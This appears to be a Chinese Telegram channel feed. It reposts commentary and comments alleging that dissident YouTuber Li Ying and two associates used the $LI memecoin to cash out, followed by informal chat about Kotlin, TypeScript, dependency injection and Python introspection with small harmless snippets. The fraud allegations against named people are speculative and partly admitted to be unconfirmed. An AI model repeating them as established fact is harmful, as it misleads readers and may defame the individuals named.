自媒体无论个人还是团队,是否有资金支持,都正常,在这一点上纠结的人应该不多,

其实多伦多方脸的说法是没问题的:反贼当然要构建自己的经济体系,要赚钱养活自己。不仅要赚钱,还得要赚大钱。

但反贼想要赚钱,可以做自媒体,办社区,收会员费;也可以炒美股做空中国

发币,其实是他们所能选择的赚钱方式中的下下策。原因有三:

1)币圈参与者基本上90%都是赌狗,昨天就有人自豪的说:币圈天天都在割韭菜,我们已经习以为常,被李颖割又何尝不可?将自己的“反共大业”构建在赌狗的信仰之上,这是对自己支持者极大的不尊重:让原本对民主尚有一丝信仰的支持者去接受赌狗的价值观,享受一夜归零的快感,让受众群体下沉,进而扭曲他们的心智。这本质上是承认反共大业失败,“7步民主”只能骗到币圈赌狗。

2)币圈融资的优势是门槛低,借助区块链技术,募捐也变得非常容易:不论你身在何方,是否实名,只要有一个sol钱包即可参与,符合时代趋势。但募款人既没有“反共”计划书,可供查阅的路线图,也没有任何需要资金的重大项目,金元流向也毫无监管可言。这表明,这群人的“反共大业”实际上并不严肃,如同儿戏,得来全不费功夫。降低集资门槛,事实才是对所谓“反贼大赚钱”计划最大的伤害。

3)meme 价值波动非常大,纵然可以一天翻100倍,也完全可以1天之内归零。将“反共”基金置于如此无保障、无监管、无底线的高波动市场之下,无异于孙中山将同盟会费取出来去买荷兰郁金香,然后一个月内爆仓。在一个归零率高达98%的平台上发布如此重要的项目,很显然也是对自己的储备丝毫不负责任——如果他们没有提前老鼠仓割一波走人的话,或者从来就没想过要真的用这笔钱。

综上所述,李颖、多伦多方脸、徐某人。如果不是真的被币圈项目方骗了,以为自己的市值可以维持住超过7天,而且还可以1:1变现按照20%资助反共大业的话

那他们就是1个月前早就密谋圈钱,已经在昨天的pvp市场中捞到100万u,正在小号钱包里转账分赃走人

不是蠢,就是彻底的坏

到底是哪一个,我们一个月内应该就能见分晓。
#china 李老师
勃勃OC Verified account @bboczeng
about 15 hours ago
刚才的Space讨论非常热烈,精彩,也很专业。非常感谢几个币圈资深人士上台发言,给我们科普和澄清了很多事情。

关于李颖发币,有如下几个细节值得关注:

1)这不是李颖第一次发币。在最新这款memecoin发布前,李颖还发布了另外一个同命代币。因为在内盘就被机器人抢单,导致价格过高,不满足“老鼠仓”或“团队配额”条件,李颖随后放弃了这款代币;在咨询他人、或者寻找专业的团队后,他避免了这个问题,并发行了如今我们看到的这款新币,地址以HhUVkZ1开头

2)Dev关联钱包已全部跑路。Li memecoin 的开发者dev关联钱包总计占发行量16.95%,成本为38个Solana,也就是约7000刀。总计套现按最大市值计算,可达70-100万u,每个钱包5-10万u。具体套现价格,大家可以点开评论区网址查找钱包地址,搜寻钱包的卖出记录即可查询。这也和之前截图显示的5-10万u利润排行榜对得上

3)Li币的发布,徐某人和多伦多方脸早已知情。这点从所谓Li币内的“雪花”社区和徐某人“雪花绒旅行社”高度重名,以及多方曾经有买币经验、给予过李颖Youtube制作指导等经历就可见一斑。当然,从这两位发币后突然无故无条件力挺也能看出线索。

一年之前,李颖对币圈还是嗤之以鼻;何故一年之后态度180度大转弯,直接就开始发币?

我认为这主要是年初开始的Youtube博主工作收入微薄,不足以支撑自己或团队开销所致。在平时的滑雪爬山中,李颖咨询过徐某人;同时在推特私信上显然也问过方脸。在两人的建议下,李颖选择发币。此外,李颖自己也承认,发币大业筹备了一个月。

所以,如果这两人说“自己是第一次知道有这个币,所以相信李颖,选择支持”,这纯属扯淡。这一个月内,至少就已经确认了团队人数,多方、徐某人的空投份额,以及以后公关危机的应对方案——这点从盘内交易中就有多达48个钱包,甚至有24个钱包高度同步同时买入,以便日后“分赃”可看出他们早有组织。

4)多伦多方脸为什么不公布自己的钱包?根据对链上钱包的分析,只有一个买入5220多美金的钱包在时间上可以与方脸的推特对应。但这很可能不是方脸的钱包——因为它使用了比较高级的反夹子技术。

为什么多方面对质疑,选择“等到王志安采访时”再做解释,而不是现在就放出地址,或者说清楚情况?除了可能需要一些时间和团队准备应对方案,甚至假冒钱包之外,我认为最大的可能性应该是:

多伦多方脸根本没有花5000美金购买Li币,他完全是在口嗨。在接受采访时他会坦然承认,但会用“我只是为了想支持我的朋友,我有什么错”作借口,将话题转移到中国反贼的反共事业之艰难上。

之所以必须要在节目上承认,因为只有在和王志安的问答中,他才能利用语言的艺术博取观众同情,并借助王志安引导和转移话题。这就可以解释他为什么现在既不放地址,也不能大方承认自己没买的事实。因为互联网上,很多事情解释不清楚。一旦承认人设就塌了,估计会被无数人取关拉黑。反复权衡后还是面对王志安比较安全。这是一个赌,我们可以看看我猜的对不对。

最后再澄清一些技术性问题。

首先,pump fun上发行的代币确实没有空投,但是有内盘。内盘需要开发团队用Solana买足比如5万刀才后能发射去Raydium外盘交易。

内盘的成本是外盘最大市值时的1/1000。也就是说,如果内盘团队人员拿到100美金的代币,他们可以套现拿到10万刀。我们现在相信,至少有3个钱包完成了这件事。是不是这就是李颖、徐某人和多伦多方脸?不得而知。大家心里有数就好。当然也必须承认,可能有一些场外捡漏机器人也参与了其中,但48个参与场内交易的钱包中,至少有24个属于开发团队或李颖本人。

其次,pump代币中能被取出来的钱和市值无关,只被流动性约束。现在,Li大概有30万美金的流动性,但其中只有一半是Solana,另外一半就是Li。也就是说,该团队能取出的全部流动性只有15万美金,还没那几个钱包卖币赚的多。

这笔钱大概率以后永远也不会取出来,也不会被用到。3人多签名钱包最终只是一个笑话。另外再说一句,因为流动性相比市值的比例实在太低,因此被OKX禁止交易。最后还骂OKX,这点我也无话可说。

哈哈哈,方老师风格还是一如既往,方脸和徐某人也加入李老师的发币了,估计您还能再做一期节目~
1,任何一个虚拟币,还是一个股票都需要你背后有实体依托。比如你买Google,facebook的股票、买的是他的公司,他有庞大的业务,并且经营良好,并且你看好他的未来。比如美元,他是与黄金挂钩,并且信用良好。你才会相信他,如果没有黄金支撑,然后又超发货币,那美元必定继续贬值。
2 而李老师本质上是没有任何的实体项目在运营,他本质是一个个人ip。那个人ip你带货,或者卖周边都正常。但你没有任何的实体以及后续支撑。那么本质上这个虚拟币也会最后清零。
3 虚拟币除了比特币和少数几个真的体现价值了,其他的最后是不是都是忽悠钱?
比特币能够持续增值是因为啥,第一是人门要用他转移资产。第二他没有超发烂发。但你看看币圈除了比特币还有几个真的持续增长的?
4 总结,我觉得李老师的虚拟币最终结果也是清零
1.10万的盘子,你真觉得是10万的盘子,不去劝说另外两个人别发币吗?
2.开始说没有一起发币,发币前临时通知,后面说在一起准备发币都有半年了。
3.资金运转良好的媒体号,如何退出公益孵化,从被孵化者变成NGO的资金提供者,而不是一直从NGO拿钱。

我觉得这个事情的因素蛮多的,我来谈谈~
1. 李老师不太会变现,无法维持海外生活,在全球经济下滑大通胀的情况下,生存情况更严重了,他油管的节目我估算了下,大约每月只有5k左右收入,另外两个好点,最多能到20k左右~
2. 这三个人由于都露过脸,估计无法回国了,而且他们比较年轻,在海外定居的话,就不仅仅要考虑生存问题了,还要考虑买房结婚等问题,方脸和徐某人的油管收入其实还不错的,其实没必要折损自己的信用参与这个发币,我估计多少是有这方面的压力~
3. 任何自媒体,只是靠吃热点,没有自己特色的话,早晚会过气,其实就算有特色的自媒体,也有生命周期的,时间长了也会因为受众饱和而下降的,例如文昭,与其等自然流量下降,最后没人关心,还不如趁现在刚出现下滑,就折损信用变现,商业上这个策略是比实际的,他们最近的视频已经出现了质量下滑这方面的迹象,可以说是创作枯竭期了吧(其实川宝上台,美股比特币泡沫,全球右转,美债困局,国内军变,未来可以讲的热点还蛮多的)
这三个人无法把频道做稳定还有一个原因,涉猎内容太单一了,聊政治必须要懂经济,最起码是宏观经济,毕竟经济是政治的底层建筑~

PS:我也算过方老师油管的收益,平均单个视频收益和李老师差不多,但是架不住您老输出高呀,一个月整32个视频😂


总结了目前李老师的信息:
1.做油管频道每月赚5-6000欧
2.有8个人的团队,但不愿意透露团队的信息,不透露团队运营成本
3.李谈到去巴黎见到过经营困难的同类人群,但被问及相关人员的事例,顾左右而言他
4.李的团队(不包括本人)每个月期望收入为1.5万欧
5.李的视频和剪辑团队还在帮助其他更小的博主提供视频帮助,并且提供油管视频的指导
6.尝试过联系外国基金会,但觉得自己拿着外国的钱来推进自己为中国民主化添砖加瓦,心里过不去。
7.王认为李的将近 30万的粉丝账号完全能cover支出,但李承认自己和团队能力不够。(8个人的团队无法产出正常质量的视频)
8.李认为自己发币的行为,如果失败了只是自己的信誉受到了影响,成了的话会给整个海外社区带来帮助,认为此次行为只是牺牲自己。但王认为李没有考虑到这次发币对整个海外中文圈子的声誉造成的负面影响
9.李称自己在发币时没有和别人商量,只有一个程序员同事知道,但在发币前问过一个中文圈的币圈博主,但币圈博主可能因为怕受波及,没有回复
10.李称自己在此次发币中没有获利,前25个获利账户在是机器人交易,把割韭菜的锅推给机器人
duangsues.is_a? SaltedFish
#china 李老师 勃勃OC Verified account @bboczeng about 15 hours ago 刚才的Space讨论非常热烈,精彩,也很专业。非常感谢几个币圈资深人士上台发言,给我们科普和澄清了很多事情。 关于李颖发币,有如下几个细节值得关注: 1)这不是李颖第一次发币。在最新这款memecoin发布前,李颖还发布了另外一个同命代币。因为在内盘就被机器人抢单,导致价格过高,不满足“老鼠仓”或“团队配额”条件,李颖随后放弃了这款代币;在咨询他人、或者寻找专业的团队后,他避免…
多伦多方脸 Verified account @torontobigface
为什么我说$LI的出现,是划时代的呢?

很多人可能不太清楚,海外这个圈子的现状,尤其是年轻人
我是幸运的,因为我本身在出国之前,做生意算是成功,本身财务状况就比较良好
出国之后,做YouTube,又一直有稳定的现金流
所以我的生活是不愁的
但是在这一路上,看到了太多人,尤其是年轻人,过的是非常艰辛的
他们有些人做的事情是很有意义的,也是很有能力和想法的,但是因为中共的限制,(比如包括要求父母切断收入,比如冻结银行卡,比如冻结国内资产,比如举报工作等等等)大家过的是非常凄惨

而一般能解决的方式是什么呢?其实就没啥解决方案
哪有如粉红宣传的那样,一年成百上千亿的美国资金到处资助,轻轻松松吃上所谓的“狗粮”
即使有,也大多是NGO机构的,而因为这些NGO都是面向全球的,排在前面的可能还有更惨的伊朗人,委内瑞拉人等等
同时年轻人因为缺乏经验,相对老一辈的人,也更难拿到资助
更别说这些NGO即使资助,资金往往也少的可怜
至于说直接公开募捐,到底能募捐到多少呢?
大家心理都有数

当然我这里都不是说,要改善生活状态了,这些人,就该发财
而是在这种生活状态下,大家能做什么呢?

大多数年轻人,都是依靠精神,意志力去做事情,白天打工,周末,晚上的休息时间,抽时间去参加各种活动,这样活动规模怎么能大?
对于很多年轻记者,拿着连采访差旅费用都不够的稿费,写各种稿子,能写出什么样的优质调查呢?

这样的坚持,又能搞成什么所谓的“大事”呢?

但是如果$LI成功了,并且证明不是割韭菜,建立起大家的信任,那么将改变这一局面

以后大家觉得自己项目好,就发出来通过加密货币的技术来募资吗,在币圈的加持下,不论有些人是进来赌博的,还是���些人是真心想资助项目的,募集的资金规模,根本就是以前不能比的

在这个情况下,很多事情就能做成了
比如大家心心念念的推墙,真的有人能有技术手段,那就公开方案,通过加密货币进行募资,大家投就好了
而不是去等待美国大发慈悲,哪个NGO机构大发慈悲,愿意搞这个项目了,才能去做了

项目推进的主动权,掌握在中国人自己手里了


经过和李老师的讨论,和对李老师项目,愿景的了解

决定成为$LI的雪花基金共同管理人,监督资金的用途

以后我会和李老师,徐某人,一起讨论雪花基金会的钱,会用去哪个项目里,或者资助哪些需要帮助的人士,这些钱的用途也会公开
我保证绝不会支持这个基金用做私人盈利

后续也可能会公开,像大家征集可行的项目,可行的想法
也会邀请更多的人加入这个基金会,共同决定资金的用途

希望以此建立一个公开,透明的方式,改变现在的生态,做出一些真正的改变

PS
利益声明:我个人买过一些$LI,但是目前没有卖出过任何一枚$LI,也没有依靠这个套利盈利

@bulbasauraa
个人浅见:
1、李本质并非所谓的海外反华人士 ,(像白纸青年)机缘巧合的做了反华的事情
2、他推特很早前就说过他不想做这个事情 流量裹挟着走的 这从他开始做油管后内容的变化可以看出
3、他的推特本质跟很多聊天工具里的Bot没区别 只是人工去操作了 但又不赚钱 同样的形式搬到油管赚的钱也满足不了他
4、采访的内容本质上不同频 王局在聊理想 李在聊变现 而后面基本就不是采访了 是两人的攻防战
5、李的一个观点我觉得没错 发币是他的自由 买不买是你的自由 王局基于部分人对他的期望 也是他的名声的立足之本 而他并不在意
6、不论怎么讲 即使你信任他去买这个币 也是抱着获利去的 但如果你连基本的判断都没有 最后被他割了 也怪不了任何人 不要最后被割了又拿道德说事 不论他如何解释 至少我听不出任何的道德感

最后,至于他最后结果会如何 方舟子不也活的好好的 还有大把人拥护 所以没有必要试图去救这其中的任何人 也救不了 这本身就是一种“信仰” 这些人不炒 也有其他获得盘会炒 其实换位思考一下 又有多少人会做的比他好?所以没必要上头 又不是第一回了

一个年轻艺术生,历史偶然走上了这条路,又无法回头,想可持续得把这个事情做下去,不容易。希望他能顺利吧,不要误入歧途就好。

我水平不够但想吃油管这碗饭,利润不够多到我能财务自由,想做油管mcn,王局别问细节毕竟这是我借来的遮羞布,想赚快钱,币圈以前只能当韭菜现在可以割韭菜,只谈理想别谈钱,经不起推敲不想留下把柄,我就想割韭菜不想合法合规赚钱,(os:王局都不知道怎么吐槽了,bug太多),想躺赚,我的“贡献”应该让我轻松躺着赚钱,心里很不平衡,王局你别提问了我的遮羞布要破了,不敢说成本开支,只能用安全做第一理由,(os:不喜欢就不做或者转手,然后找工作啊)

进入币圈太高调,高估了自己的信誉低估了韭菜智商,收不回来只能往更大的基金方向扯。我的羽毛是有价的,请给我与地位相符合的报酬。最初赛道选错了,现在转型到油管又要重新开始,我不想努力了,毕竟不符合我海外大V的身份格调。“没有跟别人商量”毕竟别人的名声比我还臭,暴露别人就露馅了。我不是在割韭菜,我反而是用我大V的声誉做赌注,你们这帮韭菜快感动投钱。账面上进我钱包的是小小头。(os:其实到底怎样大家都知道,不用你各种解释了)(员工os:被迫上贼船,是不是以后工资要下降了?)这十天我测试思考怎么能高效地割韭菜,最后决定豁出去了。我都压缩到30分钟了,王局再深入就是不安好心。我是想光明正大地长期割韭菜,所以不会做可疑的内幕交易(大概)。

首先99%的媒体人,除了他所在行业领域,其他行业他不在行,和你我一样是外行。不具备风险评估管控的能力,尤其金钱方面。那么这个人推出的项目,你会不会投资,投资风险度有多高?
就好比你很尊重的你爹干了一辈子的工地建筑,而且小有成就,突然你告诉你要投资养老服务领域,吃风口红利,告诉你必定赚钱。你很信任你爹,但你又有具备独立思考能力。你左看右看根据自己搜索的资料和现实市场环境。都得出大概率会被坑。但是你还是投了。因为你抱着【白给的想法和态度,说不定还能小捞一笔】的心理。反正还是给老头养老费不是,一样。
这就是那些支持李颖的人散播的想法,与其要给捐款,还不如投一下,被骗无所谓,能小赚更好,这种国内脑残饭圈的洗脑行为。
在这考虑李颖的粉丝群体,大多都是国内翻墙看热闹的人,他们知道只是把看李老师不是李老师,当做兴趣爱好,当做偶尔和朋友谁牛逼有谈资的消息获取渠道【你看,哪哪哪发生了什么,看国家黑暗成啥】这种显示自己知道的多。而不是YouTube关心时政的网友那种具备独立思考能力的人。所以李颖的YouTube内容做的很烂,我之前听过几乎没有啥自己有独到见解的内容,只是搬运播报。时政搬运吃瓜和时政评论完全是两个领域,业余和专业的区别。
所以,李颖并不具备太高的时政预见和解读能力。
但恰好,白纸革命,让他赚够了流量,把他推上风口浪尖。他的经历和成就是值得敬佩,但他个人对于许多东西的认知和决策还是停留与留学生水平。
简单来说,随便几个看似支持他得资本运作人,找上头它,给她说说币圈的变现能力和速度。给他讲讲,其中好处。他也就听了,这么做了。
他这个LI币完全不具备值得投资人背书的东西在。明眼人和具备投资经验的人都会看出,大概率会暴雷。
但他不具备辨识币圈风险的能力就一股脑把信任自己粉丝的人。啦入伙。这种行为及其不负责任。只有两种可能,要么他被团队运作得人给画饼洗脑入局无法脱身,要么他知道币圈大概率暴雷风险,任然选择这么做。利用账户收割一波。
你们自己分析一下李颖个人,你们也大概率会知道怎么回事,毕竟一个年轻人,意外的一些热血举动把自己推向推特中文圈粉丝第一人。他能把握住多少呢。
#kt #plt
duangsuse:
我的语意很明显,就是任何class T都可以有个弱类型检查的duel T.js ,用来做模式匹配、ORM等绑定
我手写反而看不出这个模式

你还别说,rust宏就是这么写的
https://t.iss.one/dsuse/20195

你要不想靠stdlib,直接用回调链表也行
#js
f=x=>x? f(x-1)+1 : 0
chkstk=f
f1=(x,ok)=>ok(x? f1(x-1, x=>x+1) : 0)

f(10000)
f1(10000, console.log)

kt的重要特性就是能for() inline fun{continue;} 啊

这帮玩学术的也太人机了,干了十几年统一口径都不行,自相矛盾吗

inline tailrec fun 意味着可以利用编译期constexpr来找到基线,就像上面 chkstk(0) 一样

我不认为这是个好电子。上面 ML99 是基于gcc -E的限制不得不元编程

rust 人觉得它的macro很强力,有println,derive宏,bitflag bitenum 等用法,但我眼里那都是过度设计
编译期的语意和运行时没有任何区别,Lisp (unquote fx)才是正确的

你这么干和上面两种chkstk(1)是没有任何区别的,无非是push不pop系统栈
据我之前的测试,能递归就别用数组 https://t.iss.one/dsuse/15603

你应该知道A递归、B回调链表递归、C伪递归是可以互相重构的
AB叫CPS,AC叫蹦床函数,BA叫逃逸分析(栈上优先分配),CA叫铸币

trampoRec=(f ,re)=>x=>{for(re=f(x); re.call;)re=re(x); return re}
f2=trampoRec((x)=> x? (x=> x-1) : 0)

强?大概是被 rust 替掉的强。多年以后template元编程有多强,都不会有人学它

kt的inline就是专门为arg:()->WTF设计的,let run, 这才是内联本来的价值所在

那可不是容易被做出来? 30行以内的东西
现在的K2都可以为[Int Array]生成泛型实化 class Array$OfInt 了,无非是想不想

fun let(this: List<T>, op:(T)->R) = listOf(op(this[0]) as R)

只要表示为json let/2: [Fun2 [$1 List], [Fn1 $1 $2] [$2 List]]
就可以应用于 val xx=listOf(1).let {"$it"} 得xx=$2=str

增强一下kt的类型系统? 有啥意义呢,不如多点能运行的东西,自动生成个json schema和form验证

类型系统就是个黑盒test,Matcher DSL 而已。 非得占用那么大篇幅,希望这些不运行的符号都早点死光,或者直接归入Prolog和SQL,编程才有正常的应用价值。

你说重载决议,那Py的 T.mro() 还有个C3拓扑排序算法呢,没写过屎山的人还真没机会用到那么多重载。我看kt现在 val f=::println; f(1) 都查不到重载的问题才该解决

我不知道sealed算不算tagged union ,但OOP到处都是数据+类型双指针,也造成了Int装箱等优雅性问题。 union能解决它们吗?

Moneky patch vs Proxy fork的路线之争而已
不过我还是喜欢能直接修改对方代码的,虽然不可持续

stdlib KFunctionN 都是用codegen的,没必要用模板

Ruby在AOP上可圈可点,是基于 using refine 的,注入的代码有作用域,你调用就有效,不会因为冲突导致bug

template<> 对普通程序员门槛疑似有些太高,还是 cpp #define +过程宏的门槛高呢?

我是真的崇拜Ruby的一些特性设计,Matz是下了苦功夫的,从Ruby启发了Pug HTML可见一斑

你问Javaer,他们大概不理解 List<T> 和 <T> class List 有什么区别,也分不清Interger vs int 什么的,但这不影响写出 .intStream()

java的哲学就是兼容性和简单
虽然输给了python,py才是真易用

比如什么 aspectJ.HasThisTypePatternTriedToSneakInSomeGenericOrParameterizedTypePatternMatchingStuffAnywhereVisitor
https://www.zhihu.com/question/550314430/answer/3098679716

kt的擦除只要不影响Gson,就是OK的,反正静态类型也就是个编译期黑箱test DSL

kt也可以啊,inline filterIsInstance<T>

你想在编译期递归,就需要constexpr啊

kt是一个不崇尚算法至高论的正常编程语言,和一切皆伪递归、一切皆回调链表的FP/PF人显然不一样

我一直很奇怪为啥TypeScripter把类型体操视为一种正向资产
dirty hack 和 abstract nonsense 的续延而已, 其实早就该被更成熟的过程宏取代

例如一些人觉得,有体操我们就可以parse pintf("%d", 那你就不会把printf这些f-str 展开成strcat的形式,再用oldschool的方法检查和补齐吗?

static typehint的主要缺点就是,它本来可以cover住前后端和SQL用于form验证的代码重复, 却偏偏在IDE里起个补齐作用就完蛋了

很明显,js里有正则字面, py kt 都有Range的概念,但它们的验证库,甚至包括静态检查器,往往不喜欢这些标准概念。这些类型并不奇怪,安卓SDK包含的 IntDef 就有检查数字常量的enum

很多人抨击TS的点就是,你脱糖编译成JS后该怎么破坏安全,没有得到更多的检查

我觉得类型系统的「两门语言问题」都是十分严重的, 类型原本是独立于编程语言而存在的概念,不应该只让编译期IDE去利用这些生成代码

union type的自由度太高了,目前也只在Result<T|Except> 利用这个做优化,看起来也没有在sealed额外设计的必要

OOP都是带tag的,int都可以装箱带tag,所以union与否,不是特别重要
事实上,只在编译期tag可以解决很多问题-例如 div(p({k:v}) ) 这些DSL, Java也可以用intStream()和反射元数据缓解这些值类型的问题, 但说到底, 驱动代码API的是语意,不是语言特性

不需要避免啊,你js操作ts世界就是UB嘛,gcc有一大堆UB
怎么不说glibc#longjmp也只是按CDEF ABI做的上文切换, 如果遇到其他ABI的调用,不一样会爆炸

这个不是很丑吗? DOM事件才是reactive/AOP的标准

实现上,记下方法ID,在Bean初始化里list.add(::f)就好了。不过是让真正的构造器晚点执行,换一种写法

依赖注入在js都不算事,我们可以拿 it.wtf=di[wtf_原型链.name] 查表,kt现在的DI也是直接在构造器内完成了

这个是TS最搞的。 一般用静态类型系统就不好谈json结构。js自己发明了json,结果TS连js的数据树都不好去检查, 也没能力像java那样自己按反射的类型loaddump

在我的设想里,直接把[] {} {T:原型} {type:Cat|Dog} range /regex/ 这样的结构并入类型系统里,不要在意太多泛型问题,[Pair] is Pair,少区分这些有的没的就足够了,不要为编译器服务

一个黑箱测试DSL 魔法成个什么玩意,结果连form验证都要手写!

擦掉的类型完全就是List<T>, sealed Interface 这里的项怎么读的问题,那就是要按运行时的tag来区分
不过没有也无所谓, 一个list.all{}断言而已

OOP把enum tag{} union 的问题藏起来了,但出现了json互通后,它暴露了class的文本结构更缺乏规范的问题, 可见不触及需求的大类,是解决不了反射问题的
#kt duangsuse:
哈哈哈,OS内核的write()某种意义上就是为了实现时间片轮转

就是因为app程序员从不在乎管理这些流

那你去跟log4j说呗,为了取代systemd把JVM干RCE了

谁叫它除了规范下log tag 还搞那么多有的没的RMI

这common sense 也太缺德了吧,http body 怎么敢直接log呢,不trunc一下

对user input 毫无观念的程序员

平时最喜欢看对自己在写什么层都毫无观念的程序员, 搞出这种设计缺陷

太厉害了这个,bash历史记录没有这种问题啊

从来没有听说过处理文件,不涉及缓冲区,只有byte[]d

???
啥语言不能做出大文件print的功能

kt的sequence和IO stream/buffering 确实没有封装到人尽皆知,但这不是你传参byte[]处理IO的理由

可以,你看<!CDATA

这API有什么意义吗?不如写MIME.video/"wtf"

mime一直以来编解码API都很垃圾

这是干嘛,promise?

Him188:
它 internal 的东西,KMP commonMain 里调用 java Object.wait 的

它的 internal 东西很多是public

duangsuse:
卧槽,不是那个被淘汰的lock吗

如果okhttp对请求定制的程度不如curl

比如只有 GET?kv PUT formData ,然后处理错误码为null的,我觉得没必要用它的API

没感觉到yield和函数式有啥关系

硬要说这应该是Lua和Go带起来的,都是有栈协程方案,无需回调链表

害, 和React差不多的玩意, 不是按变量和数组为单位绑定的,亡羊补牢diff

主要是慢,臃肿

为了给自己发工资呗,哈哈
kt创造的价值不过是语法糖DSL, KMP都没TS那样有用。

除了null和函数与类型的扩展,基本上没啥新通用概念, 却造了一大堆JVM语言不需要的IR

我的意思是,这玩意完全可以做成TS那样,别弄自己的工具链

降低成本,提升速度,别整啥K2了

不过是编译器团队给自己发工资的小技俩

Kt工具链除了js应该还打算过编译ts、py、scala什么的

好大喜功,觉得自己的字节码可以独立JVM

结果呢?适得其反, 编译器、工具链速度慢到不如Eclipse

Java11也引入了var推理, 在工作量上kt可能就多个类型外部扩展
但是工具链用起来不是一般的慢,包括比jshell

当然我上面也说了, 理论上kt比javac多的东西不需要那么冗杂

其实就是好大喜功, 以用户体验为代价,提升屎山程度,这样roadmap就好看了……

我自己也有点好大喜功的,不过不会在改屎山的时候乱加东西

比如,我在用的编程范式就用 null 来取代filterMap, deleteAt 这些东西,因为我认为null是Error的特例,[T list] 是T的特例,应该有 nums.let{ it<0? null : it+1 } 的写法
理论上null只能出现在struct里,并且可空性必须在变量名上标明

看起来这很简单,不过是个帮助函数,但我越改越多…… 最后有4页纸长,写不出来了

咕狗自己的android也是被HTML5框架们淘汰的技术

如果Javaer认识不清自己就是性能和补齐上更完善的py,拿那点设计模式自吹自擂,就还会有更多滑铁卢

monad io 本身就是基于map/flatmap。

前者是then,后者是then(async) ,其实都是回调链表模式,根本没必要按函数式那套去理解……
suspend在上面加一层上文用于cancel和try-resources

为什么 IO () 就能把“副作用”变纯粹呢? 因为上文被视为保存在调度器里,通过fmap变成隐式参数, 这就叫不赋值外部变量了

文字游戏大概是这么玩的。
#py #ts
duangsuse, [12/29/24 8:28 PM]
type https://www.fxzhihu.com/question/607437345/answer/3080776908

duangsuse, [12/29/24 8:43 PM]
说到底也就是给Tab键设计的typing了, TS这功能还真不如直接支持codegen宏的好

duangsuse, [12/29/24 8:45 PM]
const User={name:str}

def dupUser(**kw=[User Unpack])
这不是挺好的吗? TS那种 K: keyof User 反而有被滥用的嫌疑

Guido是有智慧的设计,未必赶得上人家

duangsuse, [12/30/24 4:26 PM]
py解释器的F12能力很强大啊,
class _2D:
x:float ; y:float

def _2d(x:float , y:float): ...

[u.__annotations__ for u in (_2d,_2D)]
_2d.__kwdefaults__

sum2=lambda A: lambda B: A+B
sum2(666).__closure__[0].cell_contents

def asyncGen(): yield 1; yield 2
z=asyncGen(); next(z)
z.gi_frame.f_lasti
import dis
dis.dis(asyncGen)


其他语言里隐藏或调试器级的东西py里都随便访问

纯色渐变的话理论webp/png都是没体积的
from PIL import Image
import subprocess as proc
L=800, 600; url='a.{webp,png}'

ug=Image.new("RGB", L, '#66ccff')
for u in proc.getoutput(f'echo {url}').split(): ug.save(u)
proc.getoutput(f'du -h {url}')


'4.0K\ta.webp\n4.0K\ta.png'
duangsuse, [12/30/24 4:34 PM]
说是dynamic,其实也未必,按需codegen的话也就是增加个预处理期而已
4年前写的Tk框架就是 https://github.com/duangsuse-valid-projects/TkGUI

duangsuse, [12/30/24 4:36 PM]
哦,我明白了,比如,你想筛选 User 或其他def里的kwarg来定义另一个函数参数

duangsuse, [12/30/24 4:39 PM]
其实我不太喜欢Py的这种做法,我觉得它……太慢了

OOP有个本质相同的做法: Config/Builder 模式,它的kwarg:this 在左边。 py用kwarg就太灵活了,不好把握啊

duangsuse, [12/30/24 4:41 PM]
kw给了py方便很多AI/数据科学函数的方法, JS的对象参数做不到这样,缺了一个 arg??defualt

duangsuse, [12/30/24 4:44 PM]
py kw传参时是用 dict.update (A or B)的模式, 也不一定需要解构换传参,可以靠 dict.pop
总之,不愧是字典语言啊, 还是面向数据的编程语言最火。

duangsuse, [12/30/24 4:45 PM]
用这种模式总感觉很别扭,很多lib都只在class创建里用{}

duangsuse, [12/30/24 4:47 PM]
x86的mov指令也图灵完全了呢, 但根本不是给人看的。 给人设计的lib API我觉得不能太依赖字典

当然全靠字典,就像bash里全靠环境变量一样, def起来很爽, 但用起来需要考虑复用
duangsues.is_a? SaltedFish
#py #ts duangsuse, [12/29/24 8:28 PM] type https://www.fxzhihu.com/question/607437345/answer/3080776908 duangsuse, [12/29/24 8:43 PM] 说到底也就是给Tab键设计的typing了, TS这功能还真不如直接支持codegen宏的好 duangsuse, [12/29/24 8:45 PM] const User={name:str} def dupUser(**kw=[User…
duangsuse:
编译lua.c 和luaj试试,mvn启动都够make完的了

你觉得jvm搞得起那么重算法的项目吗
一个编译型python

恭喜你发现了Vert.x的API

这没什么稀奇,JS玩烂了的东西,移植下

没什么局限性啊,不就是按类型和函数名生成方法体?

就是说,把处理 @GET("xx") fun f(@Query yy:Int) 的冗余代码写成
route.get("xx") { req["yy"].Int } 的形式而已

不要脱离具体用途谈AOP。 你是要监听器、替换函数,还是要http/cli参数解析绑定的

如果你设计的不好,AOP也是白搭,到处都是泛滥的垃圾框架

这显然是需要Proxy的了

@Bean 就是为了帮你new 接口,然后魔改其中的一些函数值

无论是和ButterKnife那样生成init()还是动态Proxy,都是一样的

哦,我好像明白为啥OOP架构总是谈DI了……

这不就是在运行期对这些接口实例做「预处理」嘛……

如果我使用 @addLog class MySvc_() {} 在 MySvc() 的实现funs前面用函数式/反射方法套逻辑,也差不多

确实,注解看起来快些但其实不必要的复杂

怎么会呢? Ruby的成功证明了DSL比Java这些得人心的多

尤其是,Java还非常擅长滥用XML表达JSON或toml级的应用数据

动态语言能更好的把data class数据 / 接口上的函数作为值来读写和包装

Java反射和DI代理有相同级别的能力, 但懂的人更少,而且,Java的数据类型(XmlT JsonT.. ) 也多了一项封装

另一方面,pyjs 里直接 for: class; if: def 这样的trick就不可能实现,因为javac需要 interface{} 这样的类型字典来做黑盒测试。

如果只从前后端开发效率来看,不约束类型会更好,只要补齐不出问题

kt现在不能直接在constructo里inject?

是因为要参考模块上文,还是说注入能被改变

不会吧,循环依赖通过惰性解引用(Proxy) 是可以解环的

因噎废食的感觉,构造器注入好优雅

既然我们非常清楚DI就是服务于 @addLog class MySvc_() {} 这样在pyjs里稀松平常的「函数字典处理
duangsues.is_a? SaltedFish
duangsuse: 编译lua.c 和luaj试试,mvn启动都够make完的了 你觉得jvm搞得起那么重算法的项目吗 一个编译型python 恭喜你发现了Vert.x的API 这没什么稀奇,JS玩烂了的东西,移植下 没什么局限性啊,不就是按类型和函数名生成方法体? 就是说,把处理 @GET("xx") fun f(@Query yy:Int) 的冗余代码写成 route.get("xx") { req["yy"].Int } 的形式而已 不要脱离具体用途谈AOP。 你是要监听器、替换函…
duangsuse:
既然我们非常清楚DI就是服务于 @addLog class MySvc_() {} 这样在pyjs里稀松平常的「函数字典处理」需求
就像 kwarg fn 和 listener list / get("wtf/"){注册}

我觉得过度设计是要看API易用性的收益的

模板除了 Stream.$OfInt 的自动优化外,还有什么能力吗?

